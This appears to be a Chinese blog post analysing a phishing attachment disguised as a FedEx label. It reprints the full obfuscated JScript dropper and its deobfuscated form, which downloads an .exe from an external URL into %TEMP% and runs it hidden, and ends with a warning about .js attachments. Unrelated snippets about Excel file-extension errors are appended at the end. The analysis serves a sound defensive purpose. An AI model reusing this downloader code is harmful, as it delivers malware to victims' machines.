20160307 - 双击打开 Js 扩展名的附件要保持留心

Windows Script Host 技术是一门很老的技术,它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象,这样的脚本具有本地权限,比如本地文件系统的访问,网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为:Label_00979216.doc.js,很简单的混淆并压缩,代码如下,

var a5 = ‘va‘;
var a3 = ‘l‘;
var a1 = ‘‘;
var a4 = ‘e‘;

function opx() {
    a1 += ‘s(‘;
    pfo();
};

function fef() {
    a1 += ‘Strea‘;
    iq();
};

function ciq() {
    a1 += ‘GET"‘;
    ch();
};

function m() {
    a1 += ‘ Act‘;
    es();
};

function obm() {
    a1 += ‘ v‘;
    sqf();
};

function fzw() {
    a1 += ‘rn‘;
    yeu();
};

function pab() {
    a1 += ‘Shel‘;
    xwm();
};

function cr() {
    a1 += ‘; xa.‘;
    elt();
};

function jj() {
    a1 += ‘xa =‘;
    rd();
};

function ny() {
    a1 += ‘ry ‘;
    wk();
};

function ke() {
    a1 += ‘fn‘;
    lh();
};

function wbl() {
    a1 += ‘e ==‘;
    fpg();
};

function ueh() {
    a1 += ‘9531‘;
    n();
};

function ma() {
    a1 += ‘= 0‘;
    cr();
};

function q() {
    a1 += ‘); xo‘;
    s();
};

function rb() {
    a1 += ‘2455‘;
    em();
};

function so() {
    a1 += ‘= ‘;
    upv();
};

function xo() {
    a1 += ‘pandE‘;
    dyu();
};

function xtj() {
    a1 += ‘r,fal‘;
    qj();
};

function j() {
    a1 += ‘);‘;
    lyg();
};

function dyr() {
    a1 += ‘pt.‘;
    pab();
};

function dyu() {
    a1 += ‘nvir‘;
    x();
};

function lyg() {
    a1 += ‘ }; }‘;
    pws();
};

function suv() {
    a1 += ‘00D10‘;
    tla();
};

function sdx() {
    a1 += ‘; ‘;
    wun();
};

function uet() {
    a1 += ‘rnd‘;
    jp();
};

function exo() {
    a1 += ‘n;‘;
    ht();
};

function wqb() {
    a1 += ‘r)‘;
    whi();
};

function zh() {
    a1 += ‘se‘;
    rj();
};

function zc() {
    a1 += ‘};‘;
    azk();
};

function elt() {
    a1 += ‘saveT‘;
    qw();
};

function x() {
    a1 += ‘on‘;
    jq();
};

function rj() {
    a1 += ‘nd()‘;
    twi();
};

function bmc() {
    a1 += ‘on‘;
    bq();
};

function xwm() {
    a1 += ‘l");‘;
    obm();
};

function dt() {
    a1 += ‘a.po‘;
    cn();
};

function yeu() {
    a1 += ‘ > 0‘;
    ws();
};

function ow() {
    a1 += ‘xe",1‘;
    gw();
};

function bxl() {
    a1 += ‘Strin‘;
    zko();
};

function le() {
    a1 += ‘); x‘;
    dt();
};

function nj() {
    a1 += ‘p?id‘;
    ctl();
};

function a() {
    a1 += ‘ new‘;
    m();
};

function mok() {
    a1 += ‘ 1; ‘;
    hma();
};

function e() {
    a1 += ‘Scri‘;
    dyr();
};

function qw() {
    a1 += ‘oFi‘;
    kg();
};

function pc() {
    a1 += ‘38‘;
    adj();
};

function ruz() {
    a1 += ‘)+f‘;
    exo();
};

function yfs() {
    a1 += ‘ }‘;
    cw();
};

function kva() {
    a1 += ‘L2.X‘;
    kf();
};

function ywg() {
    a1 += ‘,0,0)‘;
    ze();
};

function egd() {
    a1 += ‘a.o‘;
    gz();
};

function bq() {
    a1 += ‘() ‘;
    mqo();
};

function yey() {
    a1 += ‘dl(fr‘;
    fo();
};

function p() {
    a1 += ‘ng‘;
    opx();
};

function gw() {
    a1 += ‘);‘;
    ne();
};

function jp() {
    a1 += ‘=583‘;
    ueh();
};

function ze() {
    a1 += ‘; ‘;
    ywx();
};

function wk() {
    a1 += ‘{ x‘;
    lf();
};

function mqo() {
    a1 += ‘{ if‘;
    u();
};

function hma() {
    a1 += ‘xa.wr‘;
    oct();
};

function lyq() {
    a1 += ‘MS‘;
    ta();
};

function fo() {
    a1 += ‘,fn,‘;
    ra();
};

function aa() {
    a1 += ‘s5-‘;
    k();
};

function lf() {
    a1 += ‘o.‘;
    bqk();
};

function iec() {
    a1 += ‘onse‘;
    l();
};

function pws() {
    a1 += ‘; t‘;
    ny();
};

function gz() {
    a1 += ‘pen()‘;
    sdx();
};

function i() {
    a1 += ‘yst‘;
    lg();
};

function la() {
    a1 += ‘ =‘;
    tbz();
};

function ta() {
    a1 += ‘XM‘;
    kva();
};

function kf() {
    a1 += ‘MLH‘;
    zpg();
};

function yt() {
    a1 += ‘com/d‘;
    plz();
};

function ovq() {
    a1 += ‘P%")+‘;
    bxl();
};

function ia() {
    a1 += ‘:/‘;
    zll();
};

function kg() {
    a1 += ‘le(‘;
    ke();
};

function ff() {
    a1 += ‘r ws‘;
    y();
};

function pp() {
    a1 += ‘fn‘;
    ywg();
};

function n() {
    a1 += ‘","8‘;
    ym();
};

function g() {
    a1 += ‘xo ‘;
    so();
};

function ng() {
    a1 += ‘xo.‘;
    zh();
};

function mlz() {
    a1 += ‘("‘;
    ciq();
};

function ym() {
    a1 += ‘44‘;
    pc();
};

function kqc() {
    a1 += ‘09&‘;
    uet();
};

function omc() {
    a1 += ‘("W‘;
    e();
};

function wun() {
    a1 += ‘xa.ty‘;
    tp();
};

function ctl() {
    a1 += ‘=54‘;
    pt();
};

function lg() {
    a1 += ‘atec‘;
    ors();
};

function bmm() {
    a1 += ‘XObje‘;
    rvo();
};

function zko() {
    a1 += ‘g.fro‘;
    fr();
};

function ch() {
    a1 += ‘,f‘;
    xtj();
};

function l() {
    a1 += ‘Body‘;
    le();
};

function jq() {
    a1 += ‘mentS‘;
    jf();
};

function em() {
    a1 += ‘565‘;
    jet();
};

function cw() {
    a1 += ‘ catc‘;
    dig();
};

function yv() {
    a1 += ‘e(92‘;
    ruz();
};

function twi() {
    a1 += ‘; ‘;
    oy();
};

function ws() {
    a1 += ‘) { ‘;
    zo();
};

function zpg() {
    a1 += ‘TTP"‘;
    q();
};

function s() {
    a1 += ‘.onre‘;
    pao();
};

function rd() {
    a1 += ‘ new ‘;
    kh();
};

function vp() {
    a1 += ‘XOb‘;
    dwx();
};

function vrm() {
    a1 += ‘Act‘;
    v();
};

function oi() {
    a1 += ‘ion ‘;
    ma();
};

function lvc() {
    a1 += ‘D01‘;
    rb();
};

function pt() {
    a1 += ‘51‘;
    cg();
};

function bqk() {
    a1 += ‘open‘;
    mlz();
};

function etm() {
    a1 += ‘Run(‘;
    pp();
};

function hp() {
    a1 += ‘("AD‘;
    b();
};

function whi() {
    a1 += ‘ { }‘;
    ssb();
};

function v() {
    a1 += ‘ive‘;
    bmm();
};

function w() {
    a1 += ‘Stat‘;
    wbl();
};

function oct() {
    a1 += ‘ite‘;
    pd();
};

function zll() {
    a1 += ‘/app.‘;
    aa();
};

function qj() {
    a1 += ‘se); ‘;
    ng();
};

function plz() {
    a1 += ‘ocume‘;
    wld();
};

function oy() {
    a1 += ‘if (‘;
    fzw();
};

function b() {
    a1 += ‘ODB.‘;
    fef();
};

function h() {
    a1 += ‘ctio‘;
    o();
};

function zo() {
    a1 += ‘ws.‘;
    etm();
};

function es() {
    a1 += ‘ive‘;
    vp();
};

function r() {
    a1 += ‘va‘;
    ff();
};

function aey() {
    a1 += ‘rCod‘;
    yv();
};

function adj() {
    a1 += ‘33‘;
    fpe();
};

function tla() {
    a1 += ‘0D011‘;
    lvc();
};

function kh() {
    a1 += ‘Acti‘;
    zn();
};

function ors() {
    a1 += ‘hange‘;
    c();
};

function sqf() {
    a1 += ‘ar fn‘;
    la();
};

function zr() {
    a1 += ‘ var ‘;
    jj();
};

function jn() {
    a1 += ‘esp‘;
    iec();
};

function fpg() {
    a1 += ‘= 4‘;
    oh();
};

function iq() {
    a1 += ‘m")‘;
    tgk();
};

function nyj() {
    a1 += ‘ready‘;
    w();
};

function ht() {
    a1 += ‘ var ‘;
    g();
};

function k() {
    a1 += ‘tech.‘;
    yt();
};

function ttg() {
    a1 += ‘bject‘;
    hp();
};

function t() {
    a1 += ‘ncti‘;
    bmc();
};

function bb() {
    a1 += ‘xa.c‘;
    lfp();
};

function o() {
    a1 += ‘n ‘;
    yey();
};

function tbz() {
    a1 += ‘ ws‘;
    fkc();
};

function jf() {
    a1 += ‘tri‘;
    p();
};

function iiw() {
    a1 += ‘("‘;
    my();
};

function ssb() {
    a1 += ‘; ‘;
    zc();
};

function wq() {
    a1 += ‘0B‘;
    kqc();
};

function ra() {
    a1 += ‘rn)‘;
    tux();
};

function oh() {
    a1 += ‘) {‘;
    zr();
};

function my() {
    a1 += ‘http‘;
    ia();
};

function owg() {
    a1 += ‘fu‘;
    t();
};

function lh() {
    a1 += ‘,2); ‘;
    bb();
};

function tux() {
    a1 += ‘ { ‘;
    r();
};

function wld() {
    a1 += ‘nt.ph‘;
    nj();
};

function ywx() {
    a1 += ‘};‘;
    yfs();
};

function tgk() {
    a1 += ‘; x‘;
    egd();
};

function dwx() {
    a1 += ‘ject‘;
    omc();
};

function lfp() {
    a1 += ‘lose(‘;
    j();
};

function fpe() {
    a1 += ‘5.e‘;
    ow();
};

function upv() {
    a1 += ‘new ‘;
    vrm();
};

function kag() {
    a1 += ‘ =‘;
    mok();
};

function ne() {
    this[a4 + a5 + a3](a1);
};

function rvo() {
    a1 += ‘ct("‘;
    lyq();
};

function fr() {
    a1 += ‘mCha‘;
    aey();
};

function dig() {
    a1 += ‘h (e‘;
    wqb();
};

function u() {
    a1 += ‘ (xo.‘;
    nyj();
};

function y() {
    a1 += ‘ =‘;
    a();
};

function fkc() {
    a1 += ‘.Ex‘;
    xo();
};

function azk() {
    a1 += ‘ dl‘;
    iiw();
};

function tp() {
    a1 += ‘pe‘;
    kag();
};

function pd() {
    a1 += ‘(xo.R‘;
    jn();
};

function pao() {
    a1 += ‘ad‘;
    i();
};

function fs() {
    a1 += ‘fun‘;
    h();
};

function c() {
    a1 += ‘ = ‘;
    owg();
};

function jet() {
    a1 += ‘24A07‘;
    wq();
};

function cn() {
    a1 += ‘sit‘;
    oi();
};

function pfo() {
    a1 += ‘"%TEM‘;
    ovq();
};

function zn() {
    a1 += ‘veXO‘;
    ttg();
};

function cg() {
    a1 += ‘515E1‘;
    suv();
};
fs();

虽然简单,但这样的代码不会被任何杀毒软件识别并查杀,稍看了看,属于字符串拼接为一个函数并 eval 执行,于是将最终执行前的函数:

function gw() {
    a1 += ‘);‘;
    ne();
};

改为:

function gw() {
    a1 += ‘);‘;
    //ne();
    WScript.Echo(a1);
};

复制出内容如下:

function dl(fr, fn, rn) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");
    xo.onreadystatechange = function() {
        if (xo.readyState === 4) {
            var xa = new ActiveXObject("ADODB.Stream");
            xa.open();
            xa.type = 1;
            xa.write(xo.ResponseBody);
            xa.position = 0;
            xa.saveToFile(fn, 2);
            xa.close();
        };
    };
    try {
        xo.open("GET", fr, false);
        xo.send();
        if (rn > 0) {
            ws.Run(fn, 0, 0);
        };
    } catch (er) {};
};
dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);

似乎是远程下载一个文件写入本地,并执行。地址已经失效,于是没有下载作进一步的分析。

但提醒一下:双击打开 Js 扩展名的附件要保持留心。

时间: 2024-12-11 15:12:10

20160307 - 双击打开 Js 扩展名的附件要保持留心的相关文章

关于asp.net C# 导出Excel文件 打开Excel文件格式与扩展名指定格式不一致的解决办法

转载自 阿姆的博客 关于asp.net C# 导出Excel文件打开Excel文件格式与扩展名指定格式不一致的解决办法 导致“文件格式与扩展名指定格式不一致”这个问题,是因为大多数人在导出excel文件的时候,都是默认保存excel的格式, 也就是直接workbook.Save(path)或者workbook.SaveAs(path).进而忽略了SaveAs方法里面的参数.与保存excel文件格式有 关的是它第二个参数FileForMat. FileFormat 类型:System.Object

用VBS创建Excel后,打开时却提示“您尝试打开的文件 的格式与文件扩展名指定的格式不一致”

使用此VBS代码创建Excel: Set oexcel=CreateObject("excel.application") oexcel.Workbooks.Add() oexcel.ActiveWorkbook.SaveAs("d:\xx.xls") ' oexcel.Quit Set oexcel=Nothing 但创建出的Excel打开时会提示"您尝试打开的文件 的格式与文件扩展名指定的格式不一致". 虽然点确定后也可以使用. 但是..用户

解决 Excel2013打开提示 文件格式和扩展名不匹配。文件可能已损坏或不安全

有的时候打开xls文档时,会提示"文件格式和扩展名不匹配.文件可能已损坏或不安全.除非您信任其来源,否则请勿打开.是否仍要打开它?" 遇到这种情况,我们需要 1.win键+R键,打开"运行",输入regedit打开"注册表编辑器" 2.找到HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Excel\Security,选中"Security" 3.在右边,右击鼠标,新建 - DW

C# 选择文件、选择文件夹、打开文件(或者文件夹) 路径中获取文件全路径、目录、扩展名、文件名称 追加、拷贝、删除、移动文件、创建目录 修改文件名、文件夹名!!

https://www.cnblogs.com/zhlziliaoku/p/5241097.html 1.选择文件用OpenDialog OpenFileDialog dialog = new OpenFileDialog(); dialog.Multiselect = true;//该值确定是否可以选择多个文件 dialog.Title = "请选择文件夹"; dialog.Filter = "所有文件(*.*)|*.*"; if (dialog.ShowDial

Excel无法打开文件xxx.xlsx,因为文件格式或文件扩展名无效。请确定文件未损坏解决办法

问题 右键新建Microsoft Excel工作表,双机点开表格提示以下内容: 桌面新建excel表格后,打开时,提示"Excel无法打开文件xxx.xlsx,因为文件格式或文件扩展名无效.请确定文件未损坏,并且文件扩展名与文件的格式匹配" . 为此我在百度上搜了很此办法的帖子,最终经过半天的时间还是被我给解决了. 解决方法如下: 1.首先找一个能打开的Excel表 把里面的内容删除完毕另存到C:\Program Files\Microsoft Office\下重新命名01.xlsx,

常用文件扩展名

http://baike.baidu.com/view/579392.htm ISO:镜像文件 RAR:压缩包 html:网页 zip:压缩包 exe:安装包 pdf:pdf文档 rm:视频文件 avi:视频文件 tmp:临时文件 xls:excel工作表 mdf:虚拟光驱镜像文件 txt:记事本 doc:word文档 MID:声卡声乐文件 文件类型 扩展名及打开方式 文档文件 txt(所有文字处理软件或编辑器都可打开).doc(word及wps等软件可打开).hlp(adobe acrobat

Struts2 文件下载(中文处理方法以及控制下载文件名称和扩展名)

Struts2的框架提供了现成的文件下载方式,大大简化的问价下载的使用便利性.网上的列子有很多,我把一些大家普遍比较关注的点,集中一下,给出一个整体方案. 一般我们照着书本或者网上的列子写出了一个Demo,都会存在几个疑问: 1.下载文件的文件名怎么搞?不搞的话浏览器默认名字是提交的action的名字 2.文件名里面想搞中文,但是实际上下载文件名出现了乱码或不显示中文怎么搞? 3.文件的扩展名怎么搞?比如要下载的文件是word(doc,docx)或者excel(xls,xlsx)怎么办?难道让用

iis5.1/6.0/7.0+ 配置url重写 无扩展名伪静态

最近在搞url重写 遇到iis 无扩展名及html映射问题 供后人查看 因为考虑功能比较多(URLRewriter组件有些功能满足不了要求)所以就用了HttpModule方法重写 iis5.1中 添加应用程序映射 .* (注意 这种方法只有5.1中可以)到 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll 确定文件是否存在去掉 即可 iis6.0中 搜了大量文章 都不可以 ,终于看到一篇文章 在通配符应用程序映射插入is

一些文件的扩展名

spec扩展名: https://www.solvusoft.com/zh-cn/file-extensions/file-extension-spec 文件格式: .spec 文件类型: RPM Specification File SPEC文件扩展名可以是指由被叫的rpmbuild程序中使用的文本文件.这个程序是用来建立RPM包. RPM代表Red Hat软件包管理.这些软件包用于安装Linux程序.该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包. 在一些开源框